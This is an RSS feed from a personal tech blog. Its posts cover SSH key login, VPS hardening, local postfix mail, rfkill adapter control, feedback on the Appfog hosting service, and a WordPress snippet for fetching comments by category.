<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Ashfame | Blog</title>
	
	<link>http://blog.ashfame.com</link>
	<description>Hacking life of Power Users and Webmasters</description>
	<lastBuildDate>Wed, 15 May 2013 01:54:52 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
	
<cloud domain="blog.ashfame.com" port="80" path="/?rsscloud=notify" registerProcedure="" protocol="http-post" />
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/AshfameBlog" /><feedburner:info uri="ashfameblog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://superfeedr.com/hubbub" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://blog.ashfame.com/?pushpress=hub" /><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Technology</media:category><itunes:explicit>no</itunes:explicit><itunes:subtitle>Hacking life of Power Users and Webmasters</itunes:subtitle><itunes:category text="Technology" /><feedburner:emailServiceId>AshfameBlog</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2FAshfameBlog" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FAshfameBlog" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2FAshfameBlog" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/AshfameBlog" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2FAshfameBlog" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FAshfameBlog" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FAshfameBlog" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2FAshfameBlog" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare href="http://www.addtoany.com/?linkname=Ashfame%20%7C%20Blog&amp;linkurl=http%3A%2F%2Ffeeds.feedburner.com%2FAshfameBlog&amp;type=feed" src="http://www.addtoany.com/addfr-b.gif">Add to Any Feed Reader</feedburner:feedFlare><item>
		<title>SSH password less key authentication 101</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/Tp4IYYSnJ2A/</link>
		<comments>http://blog.ashfame.com/2013/05/ssh-password-less-key-authentication-101/#comments</comments>
		<pubDate>Wed, 15 May 2013 01:54:52 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=1001</guid>
		<description><![CDATA[<p>Check whether you already have a key pair generated. Inside .ssh directory of your home, if you see files name id_rsa and id_rsa.pub then you can use them. If you don&#8217;t have them, generate a new one. How to generate a SSH key pair? ssh-keygen -t rsa To be able to use password less authentication, [...]</p><p>The post <a href="http://blog.ashfame.com/2013/05/ssh-password-less-key-authentication-101/">SSH password less key authentication 101</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Check whether you already have a key pair generated. Inside .ssh directory of your home, if you see files name id_rsa and id_rsa.pub then you can use them.</p>
<p>If you don&#8217;t have them, generate a new one.</p>
<h2>How to generate a SSH key pair?</h2>
<pre>ssh-keygen -t rsa</pre>
<p>To be able to use password less authentication, you need to put the public key on server.</p>
<p>Do that either by adding the contents of public key file in <strong>~/.ssh/authorized_keys</strong> on server or use <strong>ssh-copy-id user@serverhost</strong> which will do that for you.</p>
<p>Now just attempt to login by <strong>user@serverhost.com</strong> and you will be able to do so.</p>
<p>Its totally safe to use public key because without your private key that&#8217;s no good to anyone.</p>
<h2>How it works?</h2>
<p>Server sends you a challenge string which you encrypt using your private key and send the encrypted challenge string back. Now only your public key can decrypt it to what it originally was, thus confirming its actually you and let you login. Simple enough.</p>
<p>The post <a href="http://blog.ashfame.com/2013/05/ssh-password-less-key-authentication-101/">SSH password less key authentication 101</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=Tp4IYYSnJ2A:1EOWfs9eKeo:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=Tp4IYYSnJ2A:1EOWfs9eKeo:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=Tp4IYYSnJ2A:1EOWfs9eKeo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=Tp4IYYSnJ2A:1EOWfs9eKeo:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=Tp4IYYSnJ2A:1EOWfs9eKeo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=Tp4IYYSnJ2A:1EOWfs9eKeo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=Tp4IYYSnJ2A:1EOWfs9eKeo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=Tp4IYYSnJ2A:1EOWfs9eKeo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=Tp4IYYSnJ2A:1EOWfs9eKeo:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=Tp4IYYSnJ2A:1EOWfs9eKeo:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/Tp4IYYSnJ2A" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2013/05/ssh-password-less-key-authentication-101/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2013/05/ssh-password-less-key-authentication-101/</feedburner:origLink></item>
		<item>
		<title>Setting up your VPS</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/gHrfiZE-eFU/</link>
		<comments>http://blog.ashfame.com/2013/05/setting-up-your-vps/#comments</comments>
		<pubDate>Tue, 14 May 2013 01:53:07 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=1002</guid>
		<description><![CDATA[<p>Its very easy to setup a VPS considering the tools now we have on our exposure. This post is more of a self note to myself, so pardon me for not explaining things. To quickly setup latest NginX, MySQL, PHP (with APC and Suhosin) &#38; exim, just use this script https://github.com/vladgh/VladGh.com-LEMP These instructions will get things [...]</p><p>The post <a href="http://blog.ashfame.com/2013/05/setting-up-your-vps/">Setting up your VPS</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Its very easy to setup a VPS considering the tools now we have on our exposure. This post is more of a self note to myself, so pardon me for not explaining things.</p>
<p>To quickly setup latest NginX, MySQL, PHP (with APC and Suhosin) &amp; exim, just use this script <a href="https://github.com/vladgh/VladGh.com-LEMP">https://github.com/vladgh/VladGh.com-LEMP</a></p>
<p>These instructions will get things up and running a secure server.</p>
<p>Buy a VPS which will get you root access to your server.</p>
<p>Create a new user with sudo powers which will be actually used to do everything on a regular basis since using root is not recommended.</p>
<pre>adduser ashfame
usermod -a -G sudo ashfame</pre>
<p>Setup iptables (firewall)</p>
<p>From your new account, setup your key based login, disable root login &amp; password login so that only key based logins are allowed.</p>
<pre>sudo nano /etc/ssh/sshd_config
PasswordAuthentication no
PermitRootLogin no
UsePAM no</pre>
<p>Links which explain the above things in detail:</p>
<p><a href="https://library.linode.com/securing-your-server">https://library.linode.com/securing-your-server</a></p>
<p><a href="http://stackful-dev.com/linux-101-hardening-ssh.html">http://stackful-dev.com/linux-101-hardening-ssh.html</a></p>
<p>The post <a href="http://blog.ashfame.com/2013/05/setting-up-your-vps/">Setting up your VPS</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=gHrfiZE-eFU:_jtzDFRsc0E:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=gHrfiZE-eFU:_jtzDFRsc0E:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=gHrfiZE-eFU:_jtzDFRsc0E:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=gHrfiZE-eFU:_jtzDFRsc0E:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=gHrfiZE-eFU:_jtzDFRsc0E:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=gHrfiZE-eFU:_jtzDFRsc0E:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=gHrfiZE-eFU:_jtzDFRsc0E:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=gHrfiZE-eFU:_jtzDFRsc0E:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=gHrfiZE-eFU:_jtzDFRsc0E:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=gHrfiZE-eFU:_jtzDFRsc0E:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/gHrfiZE-eFU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2013/05/setting-up-your-vps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2013/05/setting-up-your-vps/</feedburner:origLink></item>
		<item>
		<title>Send &amp; Receive mails to &amp; from localhost</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/yMZmVaWJirM/</link>
		<comments>http://blog.ashfame.com/2013/01/send-receive-mails-to-and-from-localhost/#comments</comments>
		<pubDate>Sat, 12 Jan 2013 12:08:08 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[How To / Tutorials]]></category>
		<category><![CDATA[localhost]]></category>
		<category><![CDATA[mutt]]></category>
		<category><![CDATA[postfix]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Unix]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=991</guid>
		<description><![CDATA[<p>Mails don&#8217;t work when locally but sometimes it might prove to be very useful in development if one can send &#038; receive mails to &#038; from localhost. It can be setup pretty easily too. Basic idea is to configure postfix for localhost &#038; then use mutt to read local mails. Here is how it is [...]</p><p>The post <a href="http://blog.ashfame.com/2013/01/send-receive-mails-to-and-from-localhost/">Send &#038; Receive mails to &#038; from localhost</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Mails don&#8217;t work when locally but sometimes it might prove to be very useful in development if one can send &#038; receive mails to &#038; from localhost. It can be setup pretty easily too. Basic idea is to configure postfix for localhost &#038; then use mutt to read local mails. Here is how it is done (should work fine for any UNIX based OS):</p>
<p>Install postfix</p>
<pre class="brush: bash; title: ; notranslate">sudo apt-get install postfix</pre>
<p>Install mutt</p>
<pre class="brush: bash; title: ; notranslate">sudo apt-get install mutt</pre>
<p>To configure postfix for localhost, specify the following in its config file at <strong>/etc/postfix/main.cf</strong></p>
<pre class="brush: bash; title: ; notranslate">
myorigin = localhost
mydestination = $myhostname, localhost.$mydomain, localhost
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
relayhost =
</pre>
<p>Restart postfix</p>
<pre class="brush: bash; title: ; notranslate">sudo /etc/init.d/postfix restart</pre>
<p>Now you can read localhost mails using mutt</p>
<pre class="brush: bash; title: ; notranslate">mutt</pre>
<p>It will read emails from /var/mail/USERNAME</p>
<p>The post <a href="http://blog.ashfame.com/2013/01/send-receive-mails-to-and-from-localhost/">Send &#038; Receive mails to &#038; from localhost</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=yMZmVaWJirM:r6CTaukT2Jg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=yMZmVaWJirM:r6CTaukT2Jg:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=yMZmVaWJirM:r6CTaukT2Jg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=yMZmVaWJirM:r6CTaukT2Jg:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=yMZmVaWJirM:r6CTaukT2Jg:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=yMZmVaWJirM:r6CTaukT2Jg:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=yMZmVaWJirM:r6CTaukT2Jg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=yMZmVaWJirM:r6CTaukT2Jg:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=yMZmVaWJirM:r6CTaukT2Jg:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=yMZmVaWJirM:r6CTaukT2Jg:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/yMZmVaWJirM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2013/01/send-receive-mails-to-and-from-localhost/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2013/01/send-receive-mails-to-and-from-localhost/</feedburner:origLink></item>
		<item>
		<title>Ubuntu controlling network adapters through terminal</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/oXUR0UBFkyM/</link>
		<comments>http://blog.ashfame.com/2012/11/ubuntu-controlling-network-adapters-through-terminal/#comments</comments>
		<pubDate>Fri, 30 Nov 2012 07:25:15 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[How To / Tutorials]]></category>
		<category><![CDATA[Terminal]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=986</guid>
		<description><![CDATA[<p>We all know that Ubuntu&#8217;s network management is quite good but not there yet. One big issue with it is that, on some machines, disabling one type of network adapter, disables the other one too. Like I use wifi to connect to the internet but my bluetooth is switched on by default all the time. [...]</p><p>The post <a href="http://blog.ashfame.com/2012/11/ubuntu-controlling-network-adapters-through-terminal/">Ubuntu controlling network adapters through terminal</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>We all know that Ubuntu&#8217;s network management is quite good but not there yet. One big issue with it is that, on some machines, disabling one type of network adapter, disables the other one too.</p>
<p>Like I use wifi to connect to the internet but my bluetooth is switched on by default all the time. And if I try to disable bluetooth it disables wifi too.</p>
<p>To control them via terminal or command line, you can do this (Atleast from Ubuntu 10.10 onwards):</p>
<pre class="brush: bash; title: ; notranslate">
ashfame@ashfame-xps:~$ rfkill list all
0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
4: hci0: Bluetooth
Soft blocked: yes
Hard blocked: no
</pre>
<p>You see how it says soft blocked &amp; hard blocked. Soft block is a switch in OS &amp; hard block is a hardware switch in your machine.</p>
<p>You can disable the ones you don&#8217;t want by:</p>
<pre class="brush: bash; title: ; notranslate">rfkill block bluetooth</pre>
<p>and enable the ones you want by:</p>
<pre class="brush: bash; title: ; notranslate">rfkill unblock wifi</pre>
<p>Disabling the ones you don&#8217;t want will save you some battery if you are on a laptop/notebook/ultrabook.</p>
<p>The post <a href="http://blog.ashfame.com/2012/11/ubuntu-controlling-network-adapters-through-terminal/">Ubuntu controlling network adapters through terminal</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=oXUR0UBFkyM:XG0gC_sy-IA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=oXUR0UBFkyM:XG0gC_sy-IA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=oXUR0UBFkyM:XG0gC_sy-IA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=oXUR0UBFkyM:XG0gC_sy-IA:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=oXUR0UBFkyM:XG0gC_sy-IA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=oXUR0UBFkyM:XG0gC_sy-IA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=oXUR0UBFkyM:XG0gC_sy-IA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=oXUR0UBFkyM:XG0gC_sy-IA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=oXUR0UBFkyM:XG0gC_sy-IA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=oXUR0UBFkyM:XG0gC_sy-IA:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/oXUR0UBFkyM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2012/11/ubuntu-controlling-network-adapters-through-terminal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2012/11/ubuntu-controlling-network-adapters-through-terminal/</feedburner:origLink></item>
		<item>
		<title>Feedback to Appfog</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/w5XuZWop_IM/</link>
		<comments>http://blog.ashfame.com/2012/09/feedback-to-appfog/#comments</comments>
		<pubDate>Wed, 12 Sep 2012 21:04:17 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Feedback]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=975</guid>
		<description><![CDATA[<p>Appfog, Consider this post as &#8220;Open feedback&#8221;. @appfog @ashfame Could you send us acct details so we can look at what&#8217;s going on? Pls share UI bugs too (support.appfog.com) &#8212; AppFog Help (@AppFogHelp) September 9, 2012 I like what they are doing in PAAS industry, I want to see them grow, so posting my findings here [...]</p><p>The post <a href="http://blog.ashfame.com/2012/09/feedback-to-appfog/">Feedback to Appfog</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Appfog, Consider this post as &#8220;Open feedback&#8221;.</p>
<blockquote class="twitter-tweet" data-in-reply-to="244854517424857090" width="550"><p>@<a href="https://twitter.com/appfog">appfog</a> @<a href="https://twitter.com/ashfame">ashfame</a> Could you send us acct details so we can look at what&#8217;s going on? Pls share UI bugs too (<a href="http://t.co/PgIAkzKM" title="http://support.appfog.com">support.appfog.com</a>)</p>
<p>&mdash; AppFog Help (@AppFogHelp) <a href="https://twitter.com/AppFogHelp/status/244899769594544129" data-datetime="2012-09-09T20:47:09+00:00">September 9, 2012</a></p></blockquote>
<p><script src="//platform.twitter.com/widgets.js" charset="utf-8"></script></p>
<p>I like what they are doing in PAAS industry, I want to see them grow, so posting my findings here for them to see:</p>
<h2>Functionality bugs</h2>
<ul>
<li>favpulse.aws.af.cm throws <strong>502 gateway error </strong>(its a WordPress install)
<ul>
<li>Its a fresh install created from Appfog UI. Used to work fine, but stopped working without any change from my end.</li>
</ul>
</li>
<li>Trying to <strong>access wp-admin</strong> on any WP install redirects me to a url like this <a href="http://polyextrusion.ap01.aws.af.cm:37759/wp-admin/">http://polyextrusion.ap01.aws.af.cm:37759/wp-admin/</a> and then it doesn&#8217;t connect.</li>
<li>Installed <strong>phpmyadmin</strong> is open to world, no authentication in place. Unusable!</li>
<li>Unable to do a mysql import using <strong>af gem</strong> on <em>Ubuntu</em>. Had to run the whole sql file manually as script in Mysql workbench. Took too much of time and wasn&#8217;t sure if everything completed without issues.</li>
<li><strong>caldecott</strong> is deployed multiple times, one for each database I want to access, why? Plain stupid!</li>
<li>Nobody is keeping any eye on <strong>pull requests</strong> on Github - <a href="https://github.com/appfog/af-php-wordpress/pull/1">https://github.com/appfog/af-php-wordpress/pull/1</a></li>
</ul>
<h2>UI Bugs</h2>
<ul>
<li>Creating an app usually fails. And sometimes, instead of showing strings it shows &#8220;Object object&#8221;. Messy JS code?</li>
</ul>
<p>The post <a href="http://blog.ashfame.com/2012/09/feedback-to-appfog/">Feedback to Appfog</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=w5XuZWop_IM:YDDa__NIKNM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=w5XuZWop_IM:YDDa__NIKNM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=w5XuZWop_IM:YDDa__NIKNM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=w5XuZWop_IM:YDDa__NIKNM:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=w5XuZWop_IM:YDDa__NIKNM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=w5XuZWop_IM:YDDa__NIKNM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=w5XuZWop_IM:YDDa__NIKNM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=w5XuZWop_IM:YDDa__NIKNM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=w5XuZWop_IM:YDDa__NIKNM:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=w5XuZWop_IM:YDDa__NIKNM:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/w5XuZWop_IM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2012/09/feedback-to-appfog/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2012/09/feedback-to-appfog/</feedburner:origLink></item>
		<item>
		<title>Fetch comments of a specific category in WordPress</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/8Z80Kbjv3kA/</link>
		<comments>http://blog.ashfame.com/2011/04/get-comments-category-wordpress/#comments</comments>
		<pubDate>Sun, 17 Apr 2011 18:31:34 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[How To / Tutorials]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Code Snippets]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=907</guid>
		<description><![CDATA[<p>WordPress already provides an easy function for fetching the comments get_comments() but the function only supports fetching comments of a particular user, or for a particular post and not fetching comments of a particular category. The code for the former two cases, is pretty simple but the last one is not so simple. Here are [...]</p><p>The post <a href="http://blog.ashfame.com/2011/04/get-comments-category-wordpress/">Fetch comments of a specific category in WordPress</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>WordPress already provides an easy function for fetching the comments <strong>get_comments()</strong> but the function only supports fetching comments of a particular user, or for a particular post and not fetching comments of a particular category. The code for the former two cases, is pretty simple but the last one is not so simple. Here are the code snippets as examples:</p>
<h2>Fetching Comments of a particular user</h2>
<pre class="brush: php; title: ; notranslate">
$args = array( 'number' =&gt; 10, 'status' =&gt; 'approve', 'user_id' =&gt; 1 );
$comments_list_by_user = get_comments( $args );
print_r ( $comments_list_by_user );
</pre>
<h2>Fetching Comments of a particular post</h2>
<pre class="brush: php; title: ; notranslate">
$args = array( 'number' =&gt; 10, 'status' =&gt; 'approve', 'post_id' =&gt; 30 );
$comments_list_post = get_comments( $args );
print_r ( $comments_list_post );
</pre>
<h2>Fetching Comments of a particular category</h2>
<p>Here is how you can fetch comments for a specific category:</p>
<pre class="brush: php; title: ; notranslate">
// Posts per page setting
$ppp = get_option('posts_per_page'); // either use the WordPress global Posts per page setting or set a custom one like $ppp = 10;
$custom_offset = 0; // If you are dealing with your custom pagination, then you can calculate the value of this offset using a formula

// category (can be a parent category)
$category_parent = 3;

// lets fetch sub categories of this category and build an array
$categories = get_terms( 'category', array( 'child_of' =&gt; $category_parent, 'hide_empty' =&gt; false ) );
$category_list =  array( $category_parent );
foreach( $categories as $term ) {
 $category_list[] = (int) $term-&gt;term_id;
}

// fetch posts in all those categories
$posts = get_objects_in_term( $category_list, 'category' );

$sql = &quot;SELECT comment_ID, comment_date, comment_content, comment_post_ID
 FROM {$wpdb-&gt;comments} WHERE
 comment_post_ID in (&quot;.implode(',', $posts).&quot;) AND comment_approved = 1
 ORDER by comment_date DESC LIMIT $ppp OFFSET $custom_offset&quot;;

$comments_list = $wpdb-&gt;get_results( $sql );

if ( count( $comments_list ) &gt; 0 ) {
 $date_format = get_option( 'date_format' );
 echo '&lt;ul&gt;';
 foreach ( $comments_list as $comment ) {
 echo '&lt;li&gt;Comment: '.substr( $comment-&gt;comment_content, 0, 50 ).'..&lt;br /&gt;'.date( $date_format, strtotime( $comment-&gt;comment_date ) ).'&lt;br /&gt;Post: &lt;a href=&quot;'.get_permalink( $comment-&gt;comment_post_ID ).'&quot;&gt;'.get_the_title( $comment-&gt;comment_post_ID ).'&lt;/a&gt;&lt;/li&gt;';
 }
 echo '&lt;/ul&gt;';
} else {
 echo '&lt;p&gt;No comments&lt;/p&gt;';
}
?&gt;
</pre>
